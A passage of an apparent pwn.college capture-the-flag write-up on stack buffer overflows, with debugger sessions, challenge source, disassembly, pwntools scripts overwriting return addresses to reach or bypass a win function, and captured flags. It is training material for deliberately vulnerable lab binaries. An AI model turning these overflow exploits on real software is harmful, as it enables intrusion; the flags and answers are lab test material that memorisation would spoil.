aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Breakpoint 2, 0x0000000000401463 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────
*RAX 0x65
RBX 0x401540 (__libc_csu_init) ◂— endbr64
*RCX 0x754b17fc51f2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x1000
RDI 0
RSI 0x7fff5421e750 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x26
R9 0x26
R10 0x40212c ◂— ' bytes)!\n'
R11 0x246
R12 0x401170 (_start) ◂— endbr64
R13 0x7fff5421f8b0 ◂— 1
R14 0
R15 0
RBP 0x7fff5421e790 ◂— 0x6161616161616169 ('iaaaaaaa')
RSP 0x7fff5421e730 ◂— 0x22000
*RIP 0x401463 (challenge+129) ◂— mov dword ptr [rbp - 0xc], eax
─────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────
b+ 0x40145e <challenge+124> call read@plt <read@plt>

► 0x401463 <challenge+129> mov dword ptr [rbp - 0xc], eax [0x7fff5421e784] <= 0x65
0x401466 <challenge+132> cmp dword ptr [rbp - 0xc], 0 0x65 - 0x0 EFLAGS => 0x206 [ cf PF af zf sf IF df of ac ]
0x40146a <challenge+136> ✔ jns challenge+182 <challenge+182>

0x401498 <challenge+182> lea rdi, [rip + 0xcbd] RDI => 0x40215c ◂— 'Goodbye!'
0x40149f <challenge+189> call puts@plt <puts@plt>

0x4014a4 <challenge+194> mov eax, 0 EAX => 0
0x4014a9 <challenge+199> leave
0x4014aa <challenge+200> ret

0x4014ab <main> endbr64
0x4014af <main+4> push rbp
──────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff5421e730 ◂— 0x22000
01:0008│-058 0x7fff5421e738 —▸ 0x7fff5421f8c8 —▸ 0x7fff542216db ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-050 0x7fff5421e740 —▸ 0x7fff5421f8b8 —▸ 0x7fff542216ad ◂— '/challenge/binary-exploitation-control-hijack'
03:0018│-048 0x7fff5421e748 ◂— 0x100000000
04:0020│ rsi 0x7fff5421e750 ◂— 0x6161616161616161 ('aaaaaaaa')
05:0028│-038 0x7fff5421e758 ◂— 0x6161616161616162 ('baaaaaaa')
06:0030│-030 0x7fff5421e760 ◂— 0x6161616161616163 ('caaaaaaa')
07:0038│-028 0x7fff5421e768 ◂— 0x6161616161616164 ('daaaaaaa')
────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────
► 0 0x401463 challenge+129
1 0x616161616161616a None
2 0x616161616161616b None
3 0x616161616161616c None
4 0x7f0a6161616d None
5 0x100005018 None
6 0x8ed8 None
7 0x1000 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Looking at the dump, we can see that the rbp register has the value 0x6161616161616169 which in little endian ASCII is iaaaaaaa.

Let's find the offset of this sub pattern in our cyclic pattern.

pwndbg> cyclic -l iaaaaaaa
Finding cyclic pattern of 8 bytes: b'iaaaaaaa' (hex: 0x6961616161616161)
Found at offset 64

If we increment the offset by 8, it will point to the saved return address. Therefore the distance between the buffer and the saved return address is offset+8 which is equal to 72.

There is another, easier way of finding out this information.

pwndbg> info frame
Stack level 0, frame at 0x7fff5421e7a0:
rip = 0x401463 in challenge; saved rip = 0x616161616161616a
called by frame at 0x7fff5421e7a8
Arglist at 0x7fff5421e790, args:
Locals at 0x7fff5421e790, Previous frame's sp is 0x7fff5421e7a0
Saved registers:
rbp at 0x7fff5421e790, rip at 0x7fff5421e798
pwndbg> p/d 0x7fff5421e798 - 0x7fff5421e750
$1 = 72
  • Location of buffer: 0x7fff5421e750
  • Distance of return address to main() from the buffer: 72
  • Address of win() function: 0x4012db

Exploit

~/script.py
from pwn import *

padding = b'A' * 72
payload = padding + p64(0x4012db)

p = process('/challenge/binary-exploitation-control-hijack')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~control-hijack-hard:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-control-hijack': pid 42419
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (97B)
[*] Process '/challenge/binary-exploitation-control-hijack' stopped with exit code -11 (SIGSEGV) (pid 42419)

Goodbye!
You win! Here is your flag:
pwn.college{QdTULulW0DmED7TiA0f-uuGtq5m.0FN5IDL4ITM0EzW}

 

Tricky Control Hijack (easy)

Source code

/challenge/binary-exploitation-control-hijack-2-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 3247; nop; .endr");
}

void win_authed(int token)
{
static char flag[256];
static int flag_fd;
static int flag_length;

if (token != 0x1337) return;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[92];
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 92);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is no \"win\" variable.\n");
printf("You will need to force the program to execute the win_authed() function\n");
printf("by directly overflowing into the stored return address back to main,\n");
printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input);
printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 92);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 92);
printf("and 8 that will overwrite the return address).\n\n");

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 92);

printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_));
printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");

puts("One caveat in this challenge is that the win_authed() function must first auth:");
puts("it only lets you win if you provide it with the argument 0x1337.");
puts("Speifically, the win_authed() function looks something like:");
puts(" void win_authed(int token)");
puts(" {");
puts(" if (token != 0x1337) return;");
puts(" puts(\"You win! Here is your flag: \");");
puts(" sendfile(1, open(\"/flag\", 0), 0, 256);");
puts(" puts(\"\");");
puts(" }");
puts("");

printf("So how do you pass the check? There *is* a way, and we will cover it later,\n");
printf("but for now, we will simply bypass it! You can overwrite the return address\n");
printf("with *any* value (as long as it points to executable code), not just the start\n");
printf("of functions. Let's overwrite past the token check in win!\n\n");

printf("To do this, we will need to analyze the program with objdump, identify where\n");
printf("the check is in the win_authed() function, find the address right after the check,\n");
printf("and write that address over the saved return address.\n\n");

printf("Go ahead and find this address now. When you're ready, input a buffer overflow\n");
printf("that will overwrite the saved return address (at %p, %d bytes into the buffer)\n", rp_, rp_ - (unsigned long)&data.input);
printf("with the correct value.\n\n");

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the address of win_authed() is %p.\n", win_authed);
printf("\n");

printf("If you have managed to overwrite the return address with the correct value,\n");
printf("challenge() will jump straight to win_authed() when it returns.\n");
printf("Let's try it now!\n\n", 0);

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}
hacker@binary-exploitation~tricky-control-hijack-easy:/$ /challenge/binary-exploitation-control-hijack-2-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffcd2508970 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd2508978 (rsp+0x0008) | 38 9b 50 d2 fc 7f 00 00 | 0x00007ffcd2509b38 |
| 0x00007ffcd2508980 (rsp+0x0010) | 28 9b 50 d2 fc 7f 00 00 | 0x00007ffcd2509b28 |
| 0x00007ffcd2508988 (rsp+0x0018) | a0 e6 8c 06 01 00 00 00 | 0x00000001068ce6a0 |
| 0x00007ffcd2508990 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd2508998 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089a0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089a8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089b0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089b8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089c0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089c8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089d0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089d8 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089e0 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd25089e8 (rsp+0x0078) | 00 00 00 00 fc 7f 00 00 | 0x00007ffc00000000 |
| 0x00007ffcd25089f0 (rsp+0x0080) | 90 11 40 00 00 00 00 00 | 0x0000000000401190 |
| 0x00007ffcd25089f8 (rsp+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffcd2508a00 (rsp+0x0090) | 30 9a 50 d2 fc 7f 00 00 | 0x00007ffcd2509a30 |
| 0x00007ffcd2508a08 (rsp+0x0098) | ba 28 40 00 00 00 00 00 | 0x00000000004028ba |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffcd2508970, and our base pointer points to 0x7ffcd2508a00.
This means that we have (decimal) 20 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 160 bytes.
The input buffer begins at 0x7ffcd2508990, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 92 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is no "win" variable.
You will need to force the program to execute the win_authed() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7ffcd2508a08, 120 bytes after the start of your input buffer.
That means that you will need to input at least 128 bytes (92 to fill the buffer,
28 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffcd2508990 (the start of the input buffer)
right up to (but not including) 0x7ffcd2509990 (which is 4004 bytes beyond the end of the buffer).
Of these, you will overwrite 3976 bytes into the return address.
If that number is greater than 8, you will overwrite the entire return address.

One caveat in this challenge is that the win_authed() function must first auth:
it only lets you win if you provide it with the argument 0x1337.
Speifically, the win_authed() function looks something like:
void win_authed(int token)
{
if (token != 0x1337) return;
puts("You win! Here is your flag: ");
sendfile(1, open("/flag", 0), 0, 256);
puts("");
}

So how do you pass the check? There *is* a way, and we will cover it later,
but for now, we will simply bypass it! You can overwrite the return address
with *any* value (as long as it points to executable code), not just the start
of functions. Let's overwrite past the token check in win!

To do this, we will need to analyze the program with objdump, identify where
the check is in the win_authed() function, find the address right after the check,
and write that address over the saved return address.

Go ahead and find this address now. When you're ready, input a buffer overflow
that will overwrite the saved return address (at 0x7ffcd2508a08, 120 bytes into the buffer)
with the correct value.

Send your payload (up to 4096 bytes)!

Disassembly

Let's disassemble the win_authed function using objdump.

hacker@binary-exploitation~tricky-control-hijack-easy:/$ objdump -d -M intel --disassemble=win_authed /challenge/binary-exploitation-control-hijack-2-w

/challenge/binary-exploitation-control-hijack-2-w: file format elf64-x86-64


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .plt.sec:

Disassembly of section .text:

0000000000402133 <win_authed>:
402133: f3 0f 1e fa endbr64
402137: 55 push rbp
402138: 48 89 e5 mov rbp,rsp
40213b: 48 83 ec 10 sub rsp,0x10
40213f: 89 7d fc mov DWORD PTR [rbp-0x4],edi
402142: 81 7d fc 37 13 00 00 cmp DWORD PTR [rbp-0x4],0x1337
402149: 0f 85 fe 00 00 00 jne 40224d <win_authed+0x11a>
40214f: 48 8d 3d 9a 0f 00 00 lea rdi,[rip+0xf9a] # 4030f0 <_IO_stdin_used+0xf0>
402156: e8 a5 ef ff ff call 401100 <puts@plt>
40215b: be 00 00 00 00 mov esi,0x0
402160: 48 8d 3d a5 0f 00 00 lea rdi,[rip+0xfa5] # 40310c <_IO_stdin_used+0x10c>
402167: b8 00 00 00 00 mov eax,0x0
40216c: e8 ef ef ff ff call 401160 <open@plt>
402171: 89 05 c9 3e 00 00 mov DWORD PTR [rip+0x3ec9],eax # 406040 <flag_fd.5715>
402177: 8b 05 c3 3e 00 00 mov eax,DWORD PTR [rip+0x3ec3] # 406040 <flag_fd.5715>
40217d: 85 c0 test eax,eax
40217f: 79 4d jns 4021ce <win_authed+0x9b>
402181: e8 6a ef ff ff call 4010f0 <__errno_location@plt>
402186: 8b 00 mov eax,DWORD PTR [rax]
402188: 89 c7 mov edi,eax
40218a: e8 f1 ef ff ff call 401180 <strerror@plt>
40218f: 48 89 c6 mov rsi,rax
402192: 48 8d 3d 7f 0f 00 00 lea rdi,[rip+0xf7f] # 403118 <_IO_stdin_used+0x118>
402199: b8 00 00 00 00 mov eax,0x0
40219e: e8 7d ef ff ff call 401120 <printf@plt>
4021a3: e8 88 ef ff ff call 401130 <geteuid@plt>
4021a8: 85 c0 test eax,eax
4021aa: 74 18 je 4021c4 <win_authed+0x91>
4021ac: 48 8d 3d 95 0f 00 00 lea rdi,[rip+0xf95] # 403148 <_IO_stdin_used+0x148>
4021b3: e8 48 ef ff ff call 401100 <puts@plt>
4021b8: 48 8d 3d b1 0f 00 00 lea rdi,[rip+0xfb1] # 403170 <_IO_stdin_used+0x170>
4021bf: e8 3c ef ff ff call 401100 <puts@plt>
4021c4: bf ff ff ff ff mov edi,0xffffffff
4021c9: e8 a2 ef ff ff call 401170 <exit@plt>
4021ce: 8b 05 6c 3e 00 00 mov eax,DWORD PTR [rip+0x3e6c] # 406040 <flag_fd.5715>
4021d4: ba 00 01 00 00 mov edx,0x100
4021d9: 48 8d 35 80 3e 00 00 lea rsi,[rip+0x3e80] # 406060 <flag.5714>
4021e0: 89 c7 mov edi,eax
4021e2: e8 59 ef ff ff call 401140 <read@plt>
4021e7: 89 05 73 3f 00 00 mov DWORD PTR [rip+0x3f73],eax # 406160 <flag_length.5716>
4021ed: 8b 05 6d 3f 00 00 mov eax,DWORD PTR [rip+0x3f6d] # 406160 <flag_length.5716>
4021f3: 85 c0 test eax,eax
4021f5: 7f 2c jg 402223 <win_authed+0xf0>
4021f7: e8 f4 ee ff ff call 4010f0 <__errno_location@plt>
4021fc: 8b 00 mov eax,DWORD PTR [rax]
4021fe: 89 c7 mov edi,eax
402200: e8 7b ef ff ff call 401180 <strerror@plt>
402205: 48 89 c6 mov rsi,rax
402208: 48 8d 3d b9 0f 00 00 lea rdi,[rip+0xfb9] # 4031c8 <_IO_stdin_used+0x1c8>
40220f: b8 00 00 00 00 mov eax,0x0
402214: e8 07 ef ff ff call 401120 <printf@plt>
402219: bf ff ff ff ff mov edi,0xffffffff
40221e: e8 4d ef ff ff call 401170 <exit@plt>
402223: 8b 05 37 3f 00 00 mov eax,DWORD PTR [rip+0x3f37] # 406160 <flag_length.5716>
402229: 48 98 cdqe
40222b: 48 89 c2 mov rdx,rax
40222e: 48 8d 35 2b 3e 00 00 lea rsi,[rip+0x3e2b] # 406060 <flag.5714>
402235: bf 01 00 00 00 mov edi,0x1
40223a: e8 d1 ee ff ff call 401110 <write@plt>
40223f: 48 8d 3d ac 0f 00 00 lea rdi,[rip+0xfac] # 4031f2 <_IO_stdin_used+0x1f2>
402246: e8 b5 ee ff ff call 401100 <puts@plt>
40224b: eb 01 jmp 40224e <win_authed+0x11b>
40224d: 90 nop
40224e: c9 leave
40224f: c3 ret

Disassembly of section .fini:

In the disassembly, we can see that the comparison is happening at address 402142, so we can directly jump to the instruction right after that, which is 402149.

Exploit

~/script.py
from pwn import *

padding = b'A' * 120
payload = padding + p64(0x402149)

p = process('/challenge/binary-exploitation-control-hijack-2-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~tricky-control-hijack-easy:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-control-hijack-2-w': pid 12853
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (2.55KB)
[*] Process '/challenge/binary-exploitation-control-hijack-2-w' stopped with exit code -7 (SIGBUS) (pid 12853)

You sent 128 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007fffe92e2270 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffe92e2278 (rsp+0x0008) | 38 34 2e e9 ff 7f 00 00 | 0x00007fffe92e3438 |
| 0x00007fffe92e2280 (rsp+0x0010) | 28 34 2e e9 ff 7f 00 00 | 0x00007fffe92e3428 |
| 0x00007fffe92e2288 (rsp+0x0018) | a0 f6 39 2e 01 00 00 00 | 0x000000012e39f6a0 |
| 0x00007fffe92e2290 (rsp+0x0020) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e2298 (rsp+0x0028) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22a0 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22a8 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22b0 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22b8 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22c0 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22c8 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22d0 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22d8 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22e0 (rsp+0x0070) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22e8 (rsp+0x0078) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e22f0 (rsp+0x0080) | 41 41 41 41 80 00 00 00 | 0x0000008041414141 |
| 0x00007fffe92e22f8 (rsp+0x0088) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e2300 (rsp+0x0090) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007fffe92e2308 (rsp+0x0098) | 4f 21 40 00 00 00 00 00 | 0x000000000040214f |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7fffe92e2290
- the saved frame pointer (of main) is at 0x7fffe92e2300
- the saved return address (previously to main) is at 0x7fffe92e2308
- the saved return address is now pointing to 0x40214f.
- the address of win_authed() is 0x402133.

If you have managed to overwrite the return address with the correct value,
challenge() will jump straight to win_authed() when it returns.
Let's try it now!

Goodbye!
You win! Here is your flag:
pwn.college{0VBFaB_AISDJ98dg6tTn3RgTWjo.0VO5IDL4ITM0EzW}

 

Tricky Control Hijack (hard)

hacker@binary-exploitation~tricky-control-hijack-hard:/$ /challenge/binary-exploitation-control-hijack-2 
Send your payload (up to 4096 bytes)!

In this case we need the following information to overflow the buffer successfully:

  • Location of buffer
  • Distance of return address to main() from the buffer
  • Address of instruction in win_authed() function which skips the checks

Disassembly

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010d0 __errno_location@plt
0x00000000004010e0 puts@plt
0x00000000004010f0 write@plt
0x0000000000401100 printf@plt
0x0000000000401110 geteuid@plt
0x0000000000401120 read@plt
0x0000000000401130 setvbuf@plt
0x0000000000401140 open@plt
0x0000000000401150 exit@plt
0x0000000000401160 strerror@plt
0x0000000000401170 _start
0x00000000004011a0 _dl_relocate_static_pie
0x00000000004011b0 deregister_tm_clones
0x00000000004011e0 register_tm_clones
0x0000000000401220 __do_global_dtors_aux
0x0000000000401250 frame_dummy
0x0000000000401256 bin_padding
0x0000000000401693 win_authed
0x00000000004017b0 challenge
0x00000000004018ea main
0x0000000000401980 __libc_csu_init
0x00000000004019f0 __libc_csu_fini
0x00000000004019f8 _fini

challenge()

pwndbg> disassemble challenge
Dump of assembler code for function challenge:
0x00000000004017b0 <+0>: endbr64
0x00000000004017b4 <+4>: push rbp
0x00000000004017b5 <+5>: mov rbp,rsp
0x00000000004017b8 <+8>: sub rsp,0xb0
0x00000000004017bf <+15>: mov DWORD PTR [rbp-0x94],edi
0x00000000004017c5 <+21>: mov QWORD PTR [rbp-0xa0],rsi
0x00000000004017cc <+28>: mov QWORD PTR [rbp-0xa8],rdx
0x00000000004017d3 <+35>: mov QWORD PTR [rbp-0x90],0x0
0x00000000004017de <+46>: mov QWORD PTR [rbp-0x88],0x0
0x00000000004017e9 <+57>: mov QWORD PTR [rbp-0x80],0x0
0x00000000004017f1 <+65>: mov QWORD PTR [rbp-0x78],0x0
0x00000000004017f9 <+73>: mov QWORD PTR [rbp-0x70],0x0
0x0000000000401801 <+81>: mov QWORD PTR [rbp-0x68],0x0
0x0000000000401809 <+89>: mov QWORD PTR [rbp-0x60],0x0
0x0000000000401811 <+97>: mov QWORD PTR [rbp-0x58],0x0
0x0000000000401819 <+105>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000401821 <+113>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000401829 <+121>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000401831 <+129>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000401839 <+137>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000401841 <+145>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000401849 <+153>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000401851 <+161>: mov DWORD PTR [rbp-0x18],0x0
0x0000000000401858 <+168>: mov WORD PTR [rbp-0x14],0x0
0x000000000040185e <+174>: mov BYTE PTR [rbp-0x12],0x0
0x0000000000401862 <+178>: mov QWORD PTR [rbp-0x8],0x0
0x000000000040186a <+186>: mov QWORD PTR [rbp-0x8],0x1000
0x0000000000401872 <+194>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401876 <+198>: mov rsi,rax
0x0000000000401879 <+201>: lea rdi,[rip+0x890] # 0x402110
0x0000000000401880 <+208>: mov eax,0x0
0x0000000000401885 <+213>: call 0x401100 <printf@plt>
0x000000000040188a <+218>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040188e <+222>: lea rax,[rbp-0x90]
0x0000000000401895 <+229>: mov rsi,rax
0x0000000000401898 <+232>: mov edi,0x0
0x000000000040189d <+237>: call 0x401120 <read@plt>
0x00000000004018a2 <+242>: mov DWORD PTR [rbp-0xc],eax
0x00000000004018a5 <+245>: cmp DWORD PTR [rbp-0xc],0x0
0x00000000004018a9 <+249>: jns 0x4018d7 <challenge+295>
0x00000000004018ab <+251>: call 0x4010d0 <__errno_location@plt>
0x00000000004018b0 <+256>: mov eax,DWORD PTR [rax]
0x00000000004018b2 <+258>: mov edi,eax
0x00000000004018b4 <+260>: call 0x401160 <strerror@plt>
0x00000000004018b9 <+265>: mov rsi,rax
0x00000000004018bc <+268>: lea rdi,[rip+0x875] # 0x402138
0x00000000004018c3 <+275>: mov eax,0x0
0x00000000004018c8 <+280>: call 0x401100 <printf@plt>
0x00000000004018cd <+285>: mov edi,0x1
0x00000000004018d2 <+290>: call 0x401150 <exit@plt>
0x00000000004018d7 <+295>: lea rdi,[rip+0x87e] # 0x40215c
0x00000000004018de <+302>: call 0x4010e0 <puts@plt>
0x00000000004018e3 <+307>: mov eax,0x0
0x00000000004018e8 <+312>: leave
0x00000000004018e9 <+313>: ret
End of assembler dump.
# --- snip ---

0x000000000040188a <+218>: mov rdx,QWORD PTR [rbp-0x8]
0x000000000040188e <+222>: lea rax,[rbp-0x90]
0x0000000000401895 <+229>: mov rsi,rax
0x0000000000401898 <+232>: mov edi,0x0
0x000000000040189d <+237>: call 0x401120 <read@plt>

# --- snip ---

Let's set a breakpoint at challenge+237 and run the program.

pwndbg> break *(challenge+237)
Breakpoint 1 at 0x40189d
pwndbg> run
Starting program: /challenge/binary-exploitation-control-hijack-2
Send your payload (up to 4096 bytes)!

Breakpoint 1, 0x000000000040189d in challenge ()
